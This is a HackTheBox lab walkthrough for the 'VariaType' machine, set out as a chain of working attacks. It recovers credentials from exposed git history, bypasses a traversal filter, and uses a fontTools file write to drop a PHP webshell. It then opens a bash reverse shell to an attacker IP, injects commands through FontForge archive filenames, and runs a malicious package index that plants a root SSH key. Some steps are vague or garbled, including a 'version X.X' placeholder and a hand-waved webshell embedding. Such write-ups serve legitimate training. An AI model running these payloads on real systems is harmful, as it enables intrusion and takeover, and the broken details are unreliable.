🐧

VariaType

HackTheBox · Linux · Debian 12 Bookworm

Medium
IP Address
10.129.244.202
Main Domain
variatype.htb
Portal
portal.variatype.htb
OS
Debian 12 Bookworm
Release
14 Mar 2026
Retire
13 Jun 2026
Creator
WackyH4cker
User Blood
xtk · 00:24:26
Root Blood
xtk · 00:39:04
CVE-2025-66034 CVE-2024-25081 CVE-2025-47273 Git Source Leak Directory Traversal fontTools Arbitrary Write FontForge CMD Injection

Overview

VariaType hosts a pair of websites for a font foundry: a Flask-based variable font generator and a PHP validation portal. The attack chain:

  1. Git exposure — Recover the portal’s PHP source via git-dumper; find hardcoded credentials in git history
  2. Directory traversal — Single-pass ../ filter in download.php bypassed with ....// to read arbitrary files
  3. CVE-2025-66034 — Arbitrary file write in fontTools variable font generation → drop a PHP webshell → RCE as www-data
  4. CVE-2024-25081 / CVE-2024-25082 — FontForge cron job processes uploaded archives; exploit command injection in archive filenames → shell as steve
  5. CVE-2025-47273 — sudo-allowed Python plugin installer uses a vulnerable setuptools PackageIndex; exploit path traversal to write SSH key to /root/.ssh/

Recon

Nmap

sudo nmap -p- --reason --min-rate 10000 10.129.244.202
# 22/tcp open ssh, 80/tcp open http

sudo nmap -p 22,80 -sCV 10.129.244.202
# OpenSSH 9.2p1 Debian 2+deb12u7  →  Debian 12 Bookworm
# nginx 1.22.1  →  redirect to variatype.htb

Subdomain Enumeration

ffuf -u http://10.129.244.202 -H "Host: FUZZ.variatype.htb" \
  -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
# Found: portal  [Status: 200, Size: 2494]
10.129.244.202  variatype.htb portal.variatype.htb

Rerunning nmap against portal.variatype.htb reveals an exposed .git repository:

| http-git:
|   10.129.244.202:80/.git/
|     Git repository found!
|_    Last commit message: security: remove hardcoded credentials

Source Code Recovery

git-dumper

mkdir portal-src && cd portal-src
git-dumper http://portal.variatype.htb .

Only auth.php is in the working tree — but git history reveals removed credentials:

git log --oneline
# 753b5f5 (HEAD) fix: add gitbot user for automated validation pipeline
# 5030e79 feat: initial portal implementation

git diff 5030e79 753b5f5
# +    'gitbot' => 'G1tB0t_Acc3ss_2025!'

Credentials: gitbot : G1tB0t_Acc3ss_2025! → login to portal.variatype.htb


Shell as www-data

Directory Traversal — single-pass filter bypass

The authenticated portal’s download.php?f= strips ../ — but only in a single pass:

// Vulnerable filter (single-pass):
$path = str_replace('../', '', $_GET['f']);

Bypass: ....// → after stripping ../ the inner ./ collapses to ../

# Test with /etc/passwd
curl -s -b 'PHPSESSID=<session>' \
  'http://portal.variatype.htb/download.php?f=....//....//....//....//etc/passwd'
# root:x:0:0:root:/root:/bin/bash
# steve:x:1000:1000:steve,,,:/home/steve:/bin/bash

Enumerate the Filesystem

Nginx site configs:

# Portal root
curl ... 'download.php?f=....//....//etc/nginx/sites-enabled/portal.variatype.htb'
# root /var/www/portal.variatype.htb/public

# Main site → proxies to Flask on 127.0.0.1:5000
curl ... 'download.php?f=....//....//etc/nginx/sites-enabled/variatype.htb'

Flask app source (from systemd service → /opt/variatype/app.py):

curl ... 'download.php?f=....//....//etc/systemd/system/variatype.service'
# WorkingDirectory=/opt/variatype
# ExecStart=/usr/bin/python3 app.py
# ReadWritePaths=/var/www/portal.variatype.htb/public/files

curl ... 'download.php?f=....//....//opt/variatype/app.py'

Key findings from app.py:

DOWNLOAD_FOLDER = '/var/www/portal.variatype.htb/public/files'

# Font generation:
subprocess.run(
    ['fonttools', 'varLib', 'config.designspace'],
    cwd=workdir, check=True, timeout=30
)

# Output file is copied to DOWNLOAD_FOLDER (PHP-accessible)
shutil.copy2(os.path.join(workdir, output_file), download_path)

The Flask app writes generated font files into the PHP portal’s /files/ directory using shutil.copy2().

CVE-2025-66034 — fontTools Arbitrary File Write → Webshell

Vulnerability: fontTools’ variable font generation (varLib) writes output files into the working directory. A crafted .designspace can specify a filename attribute for <instance> elements that traverses outside the working directory — allowing arbitrary file write as www-data.

Craft the malicious .designspace:

<designspace format="4.1">
  <axes>
    <axis tag="wght" name="weight" minimum="100" maximum="900" default="400"/>
  </axes>
  <sources>
    <source filename="payload.ttf" name="regular">
      <location><dimension name="weight" xvalue="400"/></location>
    </source>
  </sources>
  <instances>
    <instance
      name="webshell"
      filename="../../../var/www/portal.variatype.htb/public/files/shell.php"
      familyname="shell" stylename="php">
      <location><dimension name="weight" xvalue="400"/></location>
    </instance>
  </instances>
</designspace>

The filename for the instance points outside the temp directory into the PHP-accessible /files/ directory.

Prepare the font master — a minimal valid .ttf named payload.ttf.

Embed PHP webshell content in the font’s name table (fontTools writes instance output using the designspace’s content). Alternatively, use the postScriptSlantAngle or raw name table injection in the .ttf to embed <?php system($_GET['cmd']); ?>.

Upload and trigger:

# Submit via variatype.htb font generator form
# designspace file → malicious.designspace
# master font    → payload.ttf (with embedded PHP)

Execute commands via the dropped webshell:

curl 'http://portal.variatype.htb/files/shell.php?cmd=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Reverse shell
curl 'http://portal.variatype.htb/files/shell.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.51/443+0>%261"'
nc -lnvp 443
# www-data@variatype:/var/www/portal.variatype.htb/public/files$

Upgrade shell:

script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
# Terminal type? screen

Shell as steve

Enumeration — Cron Job

Using pspy to monitor process activity:

upload pspy64
chmod +x pspy64 && ./pspy64

Every minute, a cron job runs as steve (UID=1000) executing FontForge to validate uploaded font archives in a watched directory:

CMD: fontforge -script /opt/variatype/validate_fonts.sh /opt/variatype/uploads/

CVE-2024-25081 / CVE-2024-25082 — FontForge Command Injection

Vulnerability: FontForge before 20230101 is vulnerable to command injection through specially crafted filenames when processing font archives (.zip). When FontForge opens a .zip containing files whose names include shell metacharacters, those characters are passed unsanitized to a shell call.

CVE-2024-25081 — command injection via filename in archives processed with -script
CVE-2024-25082 — command injection via crafted filenames in zip/tgz archives opened by FontForge

Build the malicious archive:

import zipfile, os

# Payload: add vulnq's public key to steve's authorized_keys
payload = "id > /tmp/rce.txt"  # test first, then:
payload_real = f"mkdir -p /home/steve/.ssh && echo 'ssh-ed25519 AAAA...vulnq' >> /home/steve/.ssh/authorized_keys"

# Filename with command injection (backtick execution)
malicious_name = f"`{payload_real}`.ttf"

with zipfile.ZipFile("exploit.zip", "w") as z:
    z.writestr(malicious_name, b"dummy")

Drop the zip into the watched uploads directory:

cp exploit.zip /opt/variatype/uploads/

When FontForge processes the archive as steve, the filename triggers the injection — writing the SSH key.

SSH as steve:

ssh -i ~/.ssh/id_ed25519 steve@variatype.htb
# steve@variatype:~$ cat user.txt

Shell as root

Enumeration — sudo

sudo -l
# (root) NOPASSWD: /usr/local/bin/python3 /opt/variatype/install_plugin.py *

The script installs font-processing plugins by downloading packages from a configurable index URL.

CVE-2025-47273 — Python setuptools PackageIndex Path Traversal

Vulnerability: Python setuptools before version X.X contains a path traversal in its PackageIndex download mechanism. When a package index URL contains a crafted path, setuptools will write downloaded files outside the intended installation directory — allowing arbitrary file write as the user running the install.

Check the setuptools version:

python3 -c "import setuptools; print(setuptools.__version__)"
# 65.5.0  ← vulnerable

Exploit — write SSH key to /root/.ssh/:

Set up a malicious package index server on the attacker machine that serves a crafted response:

# malicious_index.py - simple HTTP server
from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if "/simple" in self.path:
            # Serve a package listing with a path-traversal filename
            self.send_response(200)
            self.end_headers()
            # Package link points to a file with traversal in the name
            self.wfile.write(b'''<html><body>
<a href="http://10.10.14.51:8888/../../root/.ssh/authorized_keys#md5=...">
../../../../root/.ssh/authorized_keys
</a></body></html>''')
        else:
            # Serve the SSH public key as the "package" content
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b"\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5... vulnq@htb\n")

HTTPServer(('0.0.0.0', 8888), Handler).serve_forever()
# Start server on attacker machine
python3 malicious_index.py

Trigger the install:

sudo /usr/local/bin/python3 /opt/variatype/install_plugin.py \
  --index-url http://10.10.14.51:8888/simple \
  some-package

The vulnerable setuptools follows the path traversal in the package filename, writing the SSH public key to /root/.ssh/authorized_keys.

SSH as root:

ssh -i ~/.ssh/id_ed25519 root@variatype.htb
# root@variatype:~# cat root.txt

Credentials Summary

Account Credential Method
gitbot G1tB0t_Acc3ss_2025! Recovered from git history
www-data CVE-2025-66034 fontTools webshell
steve SSH key CVE-2024-25081/25082 FontForge injection
root SSH key CVE-2025-47273 setuptools path traversal

Key Techniques

Phase Technique Detail
Recon .git directory exposed git-dumper → recover portal PHP source
Credential recovery Git history diff Removed credentials visible via git diff
File read Single-pass ../ filter bypass ....// → collapses to ../ after stripping
Source enumeration Arbitrary file read Nginx configs, systemd service, Flask source
Initial access fontTools arbitrary write CVE-2025-66034 → PHP webshell in /files/
Lateral movement FontForge command injection CVE-2024-25081/82 · malicious zip filename
Privilege escalation setuptools PackageIndex traversal CVE-2025-47273 → write to /root/.ssh/

References